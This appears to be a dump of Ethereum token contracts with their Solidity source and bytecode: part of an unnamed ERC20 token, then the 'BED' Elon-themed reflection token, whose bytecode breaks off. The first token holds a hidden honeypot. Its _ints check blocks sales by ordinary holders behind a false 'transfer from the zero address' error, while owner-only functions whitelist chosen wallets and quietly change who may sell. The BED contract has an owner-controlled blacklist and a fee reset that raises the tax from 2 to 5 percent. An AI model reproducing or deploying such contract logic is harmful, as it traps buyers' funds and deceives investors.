require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cc8515b996bd43af17fb149b897492ac515e00a03dac645b0d222699cfb1419d64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 2,479 |
0xf90a75cd6e6ae9401fc4cb0fa2b99be3b19674de
|
// Elon owns Bitcoin, Ethereum & Doge.
// All in one coin. BED
// Telegram: https://t.me/bedtoken
// Twitter: https://twitter.com/bedtoken
// Website: https://bed.finance
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BEDToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bitcoin Ethereum Doge";
string private constant _symbol = "BED";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508